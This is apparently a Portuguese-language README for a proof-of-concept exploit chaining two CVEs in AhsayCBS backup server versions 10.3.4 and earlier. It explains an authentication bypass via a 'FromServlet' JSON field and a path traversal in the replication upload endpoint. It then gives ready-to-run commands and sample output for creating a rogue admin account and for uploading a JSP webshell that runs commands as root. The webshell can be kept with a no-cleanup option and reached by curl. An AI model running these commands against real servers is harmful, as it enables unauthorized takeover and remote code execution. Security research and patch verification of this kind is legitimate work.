Um exploit de prova de conceito para CVE-2026-105133 e CVE-2026-105134 que afetam o AhsayCBS
CVE-2026-105133 + CVE-2026-105134 — Execução remota de código não autenticada no AhsayCBS ≤10.3.4
A análise técnica abrangendo causa raiz, exploração e indicadores de comprometimento está disponível no blog de pesquisa de ataques da Horizon3.ai:
As versões 10.3.4 e anteriores do AhsayCBS são vulneráveis a execução remota de código não autenticada por meio de duas falhas encadeadas de bypass de autenticação e path traversal nos módulos JSON API e receptor de replicação. Um atacante pode obter controle administrativo total ou RCE direto sem credenciais.
O método com.ahsay.obs.api.json.JSONApi.execute() ignora a validação de credenciais checkSysPwd() quando o corpo da requisição JSON contém {"FromServlet":"Y"}. Isso permite que qualquer atacante não autenticado invoque todas as ações da JSON API sem credenciais.
Impacto: Acesso não autenticado à JSON API para operações sensíveis.
O endpoint de upload de arquivos do receptor de replicação (PUT /rps/obs7/rpsfile/upload) constrói o caminho de escrita a partir dos cabeçalhos UserHome e TopDir controlados pelo atacante por meio de getReplicatedPath() sem aplicar a denylist de caminhos com.ahsay.c. Um atacante pode atravessar até o diretório servido pela web do Tomcat (../../webapps/) para fazer upload de arquivos JSP executáveis.
Utiliza o bypass de autenticação para criar uma nova conta de administrador do sistema. Funciona em qualquer instalação do AhsayCBS, independentemente de licenciamento ou configuração de replicação.
python3 ahsay_rce_poc.py --url https://target.example.com
Saída:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
Utiliza a travessia de caminho no receptor de replicação para carregar um webshell autenticado. Requer que o alvo esteja licenciado e configurado como receptor de replicação. Obtém RCE como a conta de serviço.
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
Saída:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
Teste se o alvo é vulnerável sem fazer nenhuma alteração:
python3 ahsay_rce_poc.py --url https://target.example.com --check
Crie uma nova conta administrativa:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
Execute comandos através de um webshell temporário:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
"Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado." Os mantenedores do projeto não assumem qualquer responsabilidade pelo uso indevido. Use com responsabilidade.